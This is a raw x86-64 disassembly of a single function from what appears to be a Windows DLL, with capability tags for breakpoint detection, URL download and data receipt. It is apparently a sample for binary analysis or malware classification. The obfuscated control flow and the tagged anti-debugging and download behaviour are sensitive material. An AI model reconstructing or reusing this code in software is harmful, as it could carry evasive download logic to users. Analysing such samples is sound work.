Function at 0x18000d820
Capabilities:
Check for software breakpoints
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2f0]
sub rsp, 0x3f0
mov rax, qword [0x180063088]
xor rax, rsp
mov qword [rbp + 0x2e0], rax
xor r8d, r8d
imul eax, ecx, 0x680
mov r10, rdx
mov qword [rsp + 0x38], rdx
mov edx, ecx
mov dword [rsp + 0x50], ecx
mov edi, ecx
lea r9, [0x180000000]
lea ebx, [r8 + 0x59]
mov dword [rbp - 0x68], eax
lea r13d, [r8 + 0x25]
lea r12d, [r8 + 0x20]
lea r11d, [r8 + 0xa]
cmp ecx, eax
ja 0x18000e4ea
mov rsi, qword [rbp - 0x40]
mov r14, qword [rbp - 0x40]
movzx r15d, byte [rsp + 0x30]
mov r13d, dword [rbp - 0x68]
movzx r12d, byte [rsp + 0x30]
nop dword [rax + rax]
cmp edi, 0x4141
ja 0x18000daac
je 0x18000da96
cmp edi, 0x118
ja 0x18000da4b
je 0x18000da23
cmp edi, 0x24
je 0x18000d9b3
cmp edi, 0x41
je 0x18000d907
cmp edi, 0xd6
jne 0x18000e4bb
mov eax, dword [r10]
cmp eax, 0x1b
ja case.0x18000e51b.227
mov ecx, dword [r9 + rax*4 + 0x10148]
add rcx, r9
jmp rcx
mov rdx, qword [0x180065788]
mov ecx, 0x75
call fcn.1800043a0
test al, al
je 0x18000e399
mov rcx, qword [0x180065788]
lea r8, [rsp + 0x48]
mov edx, 0x76
mov byte [rsp + 0x48], 1
call fcn.180011420
mov rbx, qword [rsp + 0x38]
mov r9d, 0xe2
mov rdx, qword [0x180065788]
mov r8, qword [rbx + 0x68]
mov rcx, qword [rbx + 0x60]
call fcn.180003260
test al, al
jne 0x18000e4b7
mov rcx, qword [0x180065788]
call qword [rbx + 0x20]
mov rdx, qword [0x180065788]
mov ecx, 9
call fcn.180005110
test al, al
je 0x18000e667
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, qword [rbx + 0x68]
mov r9d, 0xe2
mov rdx, qword [0x180065788]
mov rcx, qword [rbx + 0x60]
call fcn.180003260
test al, al
je 0x18000d962
jmp 0x18000e4b7
mov rcx, qword [r10 + 8]
mov rdx, qword [r10 + 0x10]
cmp rcx, rdx
jne 0x18000d9eb
test rdx, rdx
je 0x18000d9ca
add rdx, rdx
jmp 0x18000d9cf
mov edx, 4
mov rcx, qword [r10]
mov qword [r10 + 0x10], rdx
shl rdx, 5
call fcn.180030974
mov r10, qword [rsp + 0x38]
mov rcx, qword [r10 + 8]
mov qword [r10], rax
mov rax, qword [r10]
shl rcx, 5
mov qword [rcx + rax], 0xffffffffffffffff
mov rcx, qword [r10 + 8]
mov rax, qword [r10]
shl rcx, 5
mov qword [rcx + rax + 0x10], 0xffffffffffffffff
inc qword [r10 + 8]
mov rax, qword [r10 + 8]
dec rax
mov qword [rsp + 0x40], rax
jmp 0x18000e4b7
cmp qword [0x1800657a8], 0
je 0x18000da41
cmp qword [0x1800657a0], 0
je 0x18000da41
mov byte [rsp + 0x40], 1
jmp 0x18000e4bb
mov byte [rsp + 0x40], 0
jmp 0x18000e4bb
cmp edi, 0x1224
je 0x18000e399
cmp edi, 0x20c1
jne 0x18000e4bb
mov rcx, qword [r10 + 0x18]
call qword [r10 + 0x10]
test al, al
je 0x18000e4b7
mov rbx, qword [rsp + 0x38]
mov r9d, 0x51
mov r8, rbx
xor edx, edx
xor ecx, ecx
call fcn.180007a00
mov rcx, qword [rbx + 0x58]
call qword [rbx + 0x50]
jmp 0x18000e4b7
mov rdx, qword [0x180065788]
mov ecx, 0x87
call fcn.180017800
jmp 0x18000e4b7
cmp edi, 0x141d6
ja 0x18000e30a
je 0x18000e138
cmp edi, 0x6bd6
je case.0x18000d905.0
cmp edi, 0x8d18
je 0x18000e399
cmp edi, 0xd6d6
jne 0x18000e4bb
mov ecx, 0x55
mov eax, ecx
sub eax, 0x55
je 0x18000db17
sub eax, 0x1e
je 0x18000dc4f
sub eax, 0x1e
je 0x18000db0a
cmp eax, 0x1e
je 0x18000e399
jmp 0x18000dc57
mov dword [rsp + 0x40], 1
jmp 0x18000dc57
movzx eax, byte [r8]
cmp al, 0x22
je 0x18000dc17
cmp al, 0x5c
je 0x18000db9d
cmp dword [r10 + 4], 0
jne 0x18000dc4f
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xfffffffffffffffe
jae 0x18000db8b
xor edi, edi
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xc0]
movzx eax, byte [rdi]
lea r9d, [rdi + 0x52]
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x38]
mov r8, qword [rax + 8]
call fcn.18001f4f0
movups xmm0, xmmword [rax + 0x10]
mov eax, dword [rax]
movups xmmword [rbp - 0x10], xmm0
cmp eax, 1
jne 0x18000fb4a
jmp 0x18000dc4a
mov r10, qword [rsp + 0x38]
mov dword [r10 + 4], 1
jmp 0x18000dc4f
cmp dword [r10 + 4], 0
jne 0x18000dc0e
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xfffffffffffffffd
jae 0x18000dc01
mov rax, qword [rsp + 0x38]
lea rdx, [rsp + 0x68]
mov r9d, 0x52
mov byte [rsp + 0x68], 0x5c
lea rcx, [rbp]
mov r8, qword [rax + 8]
call fcn.18001f4f0
movups xmm0, xmmword [rax + 0x10]
mov eax, dword [rax]
movups xmmword [rbp - 0x10], xmm0
cmp eax, 1
jne 0x18000fb4a
mov r10, qword [rsp + 0x38]
mov dword [r10], 2
jmp 0x18000dc4f
mov r10, qword [rsp + 0x38]
mov dword [r10 + 4], 1
mov dword [r10], 2
jmp 0x18000dc4f
mov rcx, qword [r10 + 8]
lea rbx, [r10 + 8]
test rcx, rcx
je 0x1800100c0
mov dword [r10], r8d
mov rax, qword [0x20]
test rax, rax
je 0x18000dc3d
mov rcx, qword [rcx]
call rax
mov edx, 0x71
mov rcx, rbx
call fcn.18001b410
mov r10, qword [rsp + 0x38]
mov ecx, 0x73
xor r8d, r8d
add ecx, 0x1e
cmp ecx, 0xcd
jb 0x18000dae7
lea r9, [0x180000000]
mov eax, 0xb3
cmp eax, 0xb3
je 0x18000dc89
cmp eax, 0x134
je 0x18000e399
jmp 0x18000de3b
movsx eax, byte [r8]
add eax, 0xffffffde
cmp eax, 0x53
ja case.default.0x18000f94a
cdqe
movzx eax, byte [r9 + rax + 0x101c4]
mov ecx, dword [r9 + rax*4 + 0x101b8]
add rcx, r9
jmp rcx
cmp dword [r10 + 4], 0
jne 0x18000de2e
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xfffffffffffffffe
jae 0x18000dd12
xor edi, edi
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x20]
movzx eax, byte [rdi]
lea r9d, [rdi + 0x52]
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x38]
mov r8, qword [rax + 8]
call fcn.18001f4f0
movups xmm0, xmmword [rax + 0x10]
mov eax, dword [rax]
movups xmmword [rbp - 0x10], xmm0
cmp eax, 1
jne 0x18000fb4a
jmp 0x18000de24
mov rax, qword [rsp + 0x38]
mov dword [rax + 4], 1
jmp 0x18000de24
mov ebx, 0x17
nop dword [rax + rax]
cmp ebx, 0x13
jbe case.default.0x18000f94a
mov eax, ebx
sub eax, 0x14
je 0x18000de0a
sub eax, 1
je 0x18000ddec
sub eax, 1
je 0x18000dd68
cmp eax, 1
jne 0x18000ddfe
mov r10, qword [rsp + 0x38]
movzx r15d, al
dec ebx
jmp 0x18000dd30
cmp dword [r10 + 4], 0
jne 0x18000ddcf
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xfffffffffffffffa
mov rax, qword [rsp + 0x38]
jae 0x18000ddc5
mov r8, qword [rax + 8]
lea rdx, [rsp + 0x48]
mov r9d, 0x52
mov byte [rsp + 0x48], 0x75
lea rcx, [rbp - 0x20]
call fcn.18001f4f0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x10], xmm0
cmp eax, 1
jne 0x18000fb4a
jmp 0x18000ddcc
mov dword [rax + 4], 1
xor r8d, r8d
xor ecx, ecx
mov rsi, r8
call qword [sym.imp.COMCTL32.dll_ImageList_Read]
mov r10, qword [rsp + 0x38]
xor r8d, r8d
dec ebx
mov r14, rax
jmp 0x18000dd30
test rsi, rsi
movzx r15d, r15b
mov dword [r10], 3
cmove r15d, r8d
mov r10, qword [rsp + 0x38]
dec ebx
jmp 0x18000dd30
test r15b, r15b
je 0x18000de27
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.COMCTL32.dll_ImageList_Write]
mov rcx, r14
call qword [sym.imp.COMCTL32.dll_ImageList_Destroy]
xor r8d, r8d
lea r9, [0x180000000]
mov eax, 0xb3
mov dword [rsp + 0x40], 1
mov r10, qword [rsp + 0x38]
add eax, 0x81
cmp eax, 0x1b5
jb 0x18000dc72
mov edx, dword [rsp + 0x50]
mov edi, 0xd6d6
jmp 0x18000e4bb
mov edi, 0x6bd6
mov ecx, 0xb4
nop dword [rax + rax]
mov eax, ecx
sub eax, 0xb4
je 0x18000de87
cmp eax, 1
je 0x18001005d
jmp 0x18000e0a5
movsx eax, byte [r8]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.default.0x18000f94a
cdqe
movzx eax, byte [r9 + rax + 0x10254]
mov ecx, dword [r9 + rax*4 + 0x10218]
add rcx, r9
jmp rcx
mov qword [r10], 1
jmp case.0x18000dead.9
mov rax, qword [r8]
test rax, rax
je 0x18000deca
call rax
mov r10, qword [rsp + 0x38]
mov dword [r10], 0x19
jmp case.0x18000dead.9
mov rax, qword [reloc.COMCTL32.dll_CreateMappedBitmap]
jmp 0x18000df00
mov rax, qword [0x10]
test rax, rax
je case.0x18000dead.9
call rax
jmp 0x18000e08d
mov rax, qword [0x18]
test rax, rax
je 0x18000df0c
call rax
mov r10, qword [rsp + 0x38]
mov dword [r10], 0x1a
jmp case.0x18000dead.9
mov dword [r10], 7
jmp case.0x18000dead.9
mov dword [r10], r11d
jmp case.0x18000dead.9
mov dword [r10], 0xe
jmp case.0x18000dead.9
mov rax, qword [0x48]
test rax, rax
je case.0x18000dead.9
call rax
jmp 0x18000e08d
mov rax, qword [0x50]
test rax, rax
je 0x18000df64
call rax
mov r10, qword [rsp + 0x38]
mov dword [r10], 0x1b
jmp case.0x18000dead.9
mov eax, 0xfc
cmp eax, 0xfc
je 0x18000e0b8
add eax, 0xa3
cmp eax, 0x19f
jb 0x18000df75
mov ebx, 0xa7
mov eax, ebx
sub eax, 0xa6
je 0x18000e10d
cmp eax, 1
jne 0x18000dfe8
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [r10], 0x18
xor r8d, r8d
mov qword [rsp + 0x58], 5
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x50]
call fcn.18000c140
mov r10, qword [rsp + 0x38]
mov qword [r10 + 8], rax
test rax, rax
je 0x18000fb4a
xor r8d, r8d
dec ebx
cmp ebx, 0xa5
ja 0x18000df91
mov ecx, 0x117
nop word [rax + rax]
cmp ecx, 0x181
jae case.default.0x18000f94a
mov eax, ecx
sub eax, 0x117
je 0x18000e125
cmp eax, 0x35
jne 0x18000e130
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x58], 5
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x50]
call fcn.18000c140
mov rcx, qword [rsp + 0x38]
mov qword [rcx + 8], rax
test rax, rax
je 0x18000fb4a
mov byte [rbp - 0x78], 0x2d
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x80]
mov r8, rax
mov r9d, 0x52
call fcn.18001f4f0
movups xmm0, xmmword [rax + 0x10]
mov eax, dword [rax]
movups xmmword [rbp - 0x10], xmm0
cmp eax, 1
jne 0x18000fb4a
mov r10, qword [rsp + 0x38]
xor r8d, r8d
lea r9, [0x180000000]
mov ecx, 0xb4
lea r11d, [r8 + 0xa]
inc ecx
cmp ecx, 0xb6
jb 0x18000de70
jmp 0x18000e4b7
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [r10], 0x11
xor r8d, r8d
mov qword [rsp + 0x58], 5
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x50]
call fcn.18000c140
mov rcx, qword [rsp + 0x38]
mov qword [rcx + 8], rax
test rax, rax
je 0x18000fb4a
mov byte [rsp + 0x78], 0x30
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x40]
jmp 0x18000e06c
movzx eax, byte [r8]
lea rdx, [rbp - 0x80]
mov r8, qword [r10 + 8]
lea rcx, [rbp + 0x60]
mov byte [rbp - 0x80], al
jmp 0x18000e06f
mov qword [r10], 0x17
mov qword [r10 + 8], r8
add ecx, 0x35
jmp 0x18000e000
mov ecx, 0xfd
nop dword [rax]
mov eax, ecx
sub eax, 0xfd
je 0x18000e169
sub eax, 1
je 0x18000e15c
cmp eax, 1
je 0x18000e399
jmp 0x18000e212
mov dword [rsp + 0x40], 1
jmp 0x18000e212
movsx eax, byte [r8]
add eax, 0xffffffd0
cmp eax, 0x36
ja case.default.0x18000f94a
cdqe
movzx eax, byte [r9 + rax + 0x102d4]
mov ecx, dword [r9 + rax*4 + 0x102cc]
add rcx, r9
jmp rcx
cmp dword [r10 + 4], 0
jne 0x18000e206
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xfffffffffffffffb
jae 0x18000e1ef
mov rax, qword [rsp + 0x38]
lea rdx, [rbp - 0x70]
mov r9d, 0x52
mov byte [rbp - 0x70], 0x75
lea rcx, [rbp + 0xa0]
mov r8, qword [rax + 8]
call fcn.18001f4f0
movups xmm0, xmmword [rax + 0x10]
mov eax, dword [rax]
movups xmmword [rbp - 0x10], xmm0
cmp eax, 1
jne 0x18000fb4a
mov r10, qword [rsp + 0x38]
jmp 0x18000e1fc
mov r10, qword [rsp + 0x38]
mov dword [r10 + 4], 1
lea r9, [0x180000000]
xor r8d, r8d
mov dword [r10], 4
mov ecx, 0xfd
inc ecx
cmp ecx, 0x100
jb 0x18000e140
mov eax, 0xb
cmp eax, 0xb
je 0x18000e23a
cmp eax, 0x3bd
je 0x18000e399
jmp 0x18000e2ec
movsx eax, byte [r8]
add eax, 0xffffffd0
cmp eax, 0x36
ja case.default.0x18000f94a
cdqe
movzx eax, byte [r9 + rax + 0x10314]
mov ecx, dword [r9 + rax*4 + 0x1030c]
add rcx, r9
jmp rcx
cmp dword [r10 + 4], 0
jne 0x18000e2d8
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xfffffffffffffffc
jae 0x18000e2c1
xor edi, edi
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
movzx eax, byte [rdi]
lea r9d, [rdi + 0x52]
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x38]
mov r8, qword [rax + 8]
call fcn.18001f4f0
movups xmm0, xmmword [rax + 0x10]
mov eax, dword [rax]
movups xmmword [rbp - 0x10], xmm0
cmp eax, 1
jne 0x18000fb4a
mov r10, qword [rsp + 0x38]
jmp 0x18000e2ce
mov r10, qword [rsp + 0x38]
mov dword [r10 + 4], 1
lea r9, [0x180000000]
xor r8d, r8d
mov dword [r10], 5
mov eax, 0xb
mov dword [rsp + 0x40], 1
add eax, 0x3b2
cmp eax, 0x764
jbe 0x18000e225
mov edx, dword [rsp + 0x50]
mov edi, 0x141d6
jmp 0x18000e4bb
cmp edi, 0x1acd6
je 0x18000e67d
cmp edi, 0x217d6
jne 0x18000e4bb
mov ebx, 0xd1
nop word [rax + rax]
cmp ebx, 0x290
ja 0x18000e3da
je 0x18000e3ce
cmp ebx, 0xd1
je 0x18000e376
cmp ebx, 0x166
je 0x18000e36a
cmp ebx, 0x1fb
jne 0x18000e42d
mov dword [rbp - 0x64], 1
jmp 0x18000e42d
mov dword [rbp - 0x38], 0x11
jmp 0x18000e42d
cmp byte [r8], 0x75
mov r12b, 1
mov dword [rbp - 0x28], 0x10
mov dword [rbp - 0x30], 0x10
je 0x18000e42d
mov dword [rsp + 0x40], 7
mov rax, qword [rsp + 0x40]
mov rcx, qword [rbp + 0x2e0]
xor rcx, rsp
call fcn.18002c4c0
lea r11, [rsp + 0x3f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov r13d, r8d
mov dword [r10], 9
jmp 0x18000e42d
cmp ebx, 0x325
je 0x18000e3ec
cmp ebx, 0x3ba
je 0x18000e399
jmp 0x18000e42d
mov r9d, dword [rbp - 0x64]
mov r8d, dword [rbp - 0x38]
mov edx, dword [rbp - 0x30]
mov ecx, dword [rbp - 0x28]
mov dword [rsp + 0x20], r13d
call qword [sym.imp.COMCTL32.dll_ImageList_Create]
test rax, rax
jne 0x18000e40f
xor r12b, r12b
jmp 0x18000e41d
test r12b, r12b
je 0x18000e41d
mov rcx, rax
call qword [sym.imp.COMCTL32.dll_ImageList_Destroy]
mov r10, qword [rsp + 0x38]
xor r8d, r8d
mov dword [rsp + 0x40], 1
add ebx, 0x95
cmp ebx, 0x44f
jb 0x18000e330
mov edi, 0x217d6
mov ebx, 0xf7
nop dword [rax]
cmp ebx, 0xf7
je 0x18000e494
cmp ebx, 0x5015
je 0x18000e480
cmp ebx, 0x9f33
je 0x18000e476
cmp ebx, 0xee51
je 0x18000e399
jmp 0x18000e49e
mov dword [rsp + 0x40], 1
jmp 0x18000e49e
mov dword [r10], r8d
mov rax, qword [0x30]
test rax, rax
je 0x18000e49e
call rax
jmp 0x18000e49e
cmp byte [r8], 0x65
jne case.default.0x18000f94a
mov r10, qword [rsp + 0x38]
add ebx, 0x4f1e
mov r8d, 0
cmp ebx, 0x13c78
jbe 0x18000e450
mov edx, dword [rsp + 0x50]
mov r10, qword [rsp + 0x38]
lea r9, [0x180000000]
xor r8d, r8d
mov eax, edx
shl eax, 7
add edi, eax
lea r11d, [r8 + 0xa]
cmp edi, dword [rbp - 0x68]
jbe 0x18000d8b0
lea ebx, [r8 + 0x59]
lea r12d, [r8 + 0x20]
lea r13d, [r8 + 0x25]
mov edi, edx
movabs r15, 0xa7025206f666e
lea eax, [rdx + 0xe]
cmp edi, eax
jae 0x18000e399
lea eax, [rdi - 0xd6]
cmp eax, 0xd
ja case.default.0x18000e51b
mov ecx, dword [r9 + rax*4 + 0x1034c]
add rcx, r9
jmp rcx
mov edi, 0xd8
movabs r15, 0xa7025206f666e
jmp case.default.0x18000e51b
mov eax, 0xfc
cmp eax, 0xfc
je 0x18000e55a
dec eax
cmp eax, 0xfb
ja 0x18000e536
mov edi, 0xdc
movabs r15, 0xa7025206f666e
jmp case.default.0x18000e51b
cmp byte [r8], 0x6c
jne case.default.0x18000f94a
mov dword [r10], r8d
mov rax, qword [0x40]
test rax, rax
je 0x18001005d
call rax
mov dword [rsp + 0x40], 1
jmp 0x18000e399
movabs r15, 0xa7025206f666e
mov edi, 0xda
jmp case.default.0x18000e51b
movabs r15, 0xa7025206f666e
jmp 0x18000ec2d
movabs r15, 0xa7025206f666e
mov edi, 0xdd
jmp case.default.0x18000e51b
mov ebx, 0x59
movabs r15, 0xa7025206f666e
mov eax, ebx
nop
cmp eax, 0x59
je 0x18000ecc2
cmp eax, 0x11b
je 0x18000ecb5
cmp eax, 0x1dd
je 0x18000e399
jmp 0x18000edc2
movabs r15, 0xa7025206f666e
mov edi, 0xe0
jmp case.default.0x18000e51b
movabs r15, 0xa7025206f666e
jmp 0x18000ee04
movabs r15, 0xa7025206f666e
jmp 0x18000ee4c
movabs r15, 0xa7025206f666e
mov edi, 0xde
jmp case.default.0x18000e51b
movabs r15, 0xa7025206f666e
jmp 0x18000f010
movabs r15, 0xa7025206f666e
jmp 0x18000f0c5
movabs r15, 0xa7025206f666e
jmp 0x18000f5c8
mov rdx, qword [0x180065788]
mov ecx, 0x87
call fcn.180017800
jmp 0x18000e399
mov ecx, 0x5f
mov eax, ecx
sub eax, 0x5d
je 0x18000e399
sub eax, 1
je 0x18000e750
cmp eax, 1
jne 0x18000e758
movsx eax, byte [r8]
add eax, 0xffffffd0
cmp eax, 0x36
ja case.default.0x18000f94a
cdqe
movzx eax, byte [r9 + rax + 0x1038c]
mov ecx, dword [r9 + rax*4 + 0x10384]
add rcx, r9
jmp rcx
cmp dword [r10 + 4], 0
jne 0x18000e742
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xfffffffffffffffd
jae 0x18000e72b
xor edi, edi
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
movzx eax, byte [rdi]
lea r9d, [rdi + 0x52]
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x38]
mov r8, qword [rax + 8]
call fcn.18001f4f0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x50], xmm0
cmp eax, 1
jne 0x18000fb4a
mov r10, qword [rsp + 0x38]
jmp 0x18000e738
mov r10, qword [rsp + 0x38]
mov dword [r10 + 4], 1
lea r9, [0x180000000]
xor r8d, r8d
mov dword [r10], 6
mov ecx, 0x5f
jmp 0x18000e758
mov dword [rsp + 0x40], 1
dec ecx
cmp ecx, 0x5c
ja 0x18000e682
mov ecx, 0x8b
nop dword [rax + rax]
mov eax, ecx
sub eax, 0x8b
je 0x18000e787
cmp eax, 1
je 0x18001005d
jmp 0x18000e836
movsx eax, byte [r8]
add eax, 0xffffffd0
cmp eax, 0x36
ja case.default.0x18000f94a
cdqe
movzx eax, byte [r9 + rax + 0x103cc]
mov ecx, dword [r9 + rax*4 + 0x103c4]
add rcx, r9
jmp rcx
cmp dword [r10 + 4], 0
jne 0x18000e82a
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xfffffffffffffffe
jae 0x18000e813
xor edi, edi
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
movzx eax, byte [rdi]
lea r9d, [rdi + 0x52]
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x38]
mov r8, qword [rax + 8]
call fcn.18001f4f0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x50], xmm0
cmp eax, 1
jne 0x18000fb4a
mov r10, qword [rsp + 0x38]
jmp 0x18000e820
mov r10, qword [rsp + 0x38]
mov dword [r10 + 4], 1
lea r9, [0x180000000]
xor r8d, r8d
mov dword [r10], 1
mov ecx, 0x8b
inc ecx
cmp ecx, 0x8d
jb 0x18000e770
cmp byte [r8], 0x72
jne case.default.0x18000f94a
mov dword [r10], 8
mov dword [rsp + 0x40], 1
jmp 0x18000e399
lea r14, [r10 + 8]
mov ecx, 0xb6
mov qword [rbp - 0x28], r14
nop
mov eax, ecx
sub eax, 0xb4
je 0x18000e399
sub eax, 1
je 0x18000ec11
cmp eax, 1
jne 0x18000ec19
movsx eax, byte [r8]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.default.0x18000f94a
cdqe
movzx eax, byte [r9 + rax + 0x1041c]
mov ecx, dword [r9 + rax*4 + 0x10404]
add rcx, r9
jmp rcx
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x58], 5
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x50]
call fcn.18000c140
mov qword [r14], rax
test rax, rax
je 0x18000fb4a
mov r9d, 0x52
mov byte [rsp + 0x30], 0x2e
mov r8, rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
call fcn.18001f4f0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x50], xmm0
cmp eax, 1
jne 0x18000fb4a
mov r10, qword [rsp + 0x38]
lea r9, [0x180000000]
mov ecx, 0xb6
mov dword [r10], 0x12
jmp 0x18000ec19
mov esi, 0x1d
mov dword [rbp - 0x64], esi
mov eax, esi
sub eax, 0x1d
je 0x18000ea81
sub eax, 1
je 0x18000ea72
sub eax, 1
je 0x18000e96c
cmp eax, 1
je 0x18000ec03
jmp 0x18000eaa7
mov edi, 8
mov dword [r10], r8d
mov ebx, r8d
lea r15d, [rdi + 2]
lea r14d, [rdi + 0x68]
nop
cmp ebx, 7
ja case.default.0x18000e996
mov eax, ebx
mov ecx, dword [r9 + rax*4 + 0x10494]
add rcx, r9
jmp rcx
mov dword [rbp + 0xc2], 0x644974
mov dword [rbp + 0xc5], 0x72506f54
jmp case.default.0x18000e996
mov word [rbp + 0xd3], r13w
mov word [rbp + 0xd4], r14w
jmp case.default.0x18000e996
mov r8, qword [sym.imp.ole32.dll_FmtIdToPropStgName]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xe0]
mov word [rbp + 0xd5], r15w
call fcn.1800010d0
lea r9, [0x180000000]
jmp case.default.0x18000e996
mov dword [rbp + 0xcf], 0x656d61
jmp case.default.0x18000e996
mov eax, 0x46
mov word [rbp + 0xc0], ax
mov eax, 0x6d
mov word [rbp + 0xc1], ax
jmp case.default.0x18000e996
mov word [rbp + 0xd2], r12w
jmp case.default.0x18000e996
mov eax, 0x6f
mov word [rbp + 0xc9], ax
mov eax, 0x5370
mov word [rbp + 0xca], ax
jmp case.default.0x18000e996
mov eax, 0x74
mov word [rbp + 0xcc], ax
mov eax, 0x4e67
mov word [rbp + 0xcd], ax
inc ebx
sub rdi, 1
jne 0x18000e980
mov esi, dword [rbp - 0x64]
movabs r15, 0xa7025206f666e
mov r14, qword [rbp - 0x28]
jmp 0x18000ea9f
mov edx, 0x71
mov rcx, r14
call fcn.18001b410
jmp 0x18000ea9f
mov rcx, qword [r14]
test rcx, rcx
je 0x18000fb4a
mov rax, qword [0x28]
test rax, rax
je 0x18000eaa7
mov rcx, qword [rcx]
call rax
mov r10, qword [rsp + 0x38]
xor r8d, r8d
inc esi
lea r9, [0x180000000]
mov dword [rbp - 0x64], esi
cmp esi, 0x21
jb 0x18000e945
mov ebx, 0x2a
xor edi, edi
mov eax, ebx
sub eax, 0x29
je 0x18000ec03
cmp eax, 1
jne 0x18000eb16
mov rcx, qword [r14]
test rcx, rcx
je 0x18000fb4a
mov rax, qword [0x28]
test rax, rax
je 0x18000eaf1
mov rcx, qword [rcx]
call rax
mov edx, 0x71
mov rcx, r14
call fcn.18001b410
cmp qword [rdi], rdi
je 0x18000eb0a
call qword [reloc.COMCTL32.dll_CreateMappedBitmap]
mov r10, qword [rsp + 0x38]
mov dword [r10], 0x1a
dec ebx
cmp ebx, 0x28
ja 0x18000eac3
jmp 0x18000eb21
xor edi, edi
mov ebx, 0xf5
nop word [rax + rax]
mov eax, ebx
sub eax, 0xf3
je 0x18000ec03
sub eax, 1
je 0x18000eb81
cmp eax, 1
jne 0x18000eb88
mov rcx, qword [r14]
test rcx, rcx
je 0x18000fb4a
mov rax, qword [0x28]
test rax, rax
je 0x18000eb65
mov rcx, qword [rcx]
call rax
mov edx, 0x71
mov rcx, r14
call fcn.18001b410
cmp qword [rdi], 0
je 0x18000eb88
call qword [0x18]
jmp 0x18000eb88
mov dword [r10], 0x1a
mov r10, qword [rsp + 0x38]
dec ebx
cmp ebx, 0xf2
ja 0x18000eb30
jmp 0x18000eb9b
xor edi, edi
mov ecx, 0x83
cmp ecx, 0x81
jbe case.default.0x18000f94a
mov eax, ecx
sub eax, 0x82
je 0x18000ebc8
cmp eax, 1
jne 0x18000ebc4
cmp qword [r14], 0
je 0x18000fb4a
dec ecx
jmp 0x18000eba0
mov rax, qword [0x28]
test rax, rax
je 0x18000ebdd
mov rcx, qword [r14]
mov rcx, qword [rcx]
call rax
mov edx, 0x71
mov rcx, r14
call fcn.18001b410
cmp qword [rdi], 0
je 0x18000ebf7
call qword [0x48]
mov r10, qword [rsp + 0x38]
mov dword [r10], 0x1b
mov ecx, 0xb6
lea r9, [0x180000000]
jmp 0x18000ec19
mov dword [rsp + 0x40], 1
dec ecx
mov r8d, 0
cmp ecx, 0xb3
ja 0x18000e870
mov eax, 0x3a
cmp eax, 0x3a
je 0x18000f92d
cmp eax, 0xff
je 0x18001005d
add eax, 0xc5
cmp eax, 0x1c4
jb 0x18000ec32
mov edi, 0xdd
jmp case.default.0x18000e51b
mov ebx, 0xfc
mov eax, ebx
sub eax, 0xfa
je 0x18000e399
sub eax, 1
je 0x18000ec84
cmp eax, 1
jne 0x18000eca6
cmp byte [r8], 0x65
jne case.default.0x18000f94a
jmp 0x18000eca6
mov dword [r10], r8d
mov rax, qword [0x38]
test rax, rax
je 0x18000ec9e
call rax
mov r10, qword [rsp + 0x38]
xor r8d, r8d
mov dword [rsp + 0x40], 1
dec ebx
cmp ebx, 0xf9
ja 0x18000ec61
jmp case.default.0x18000e51b
mov dword [rsp + 0x40], 1
jmp 0x18000edc2
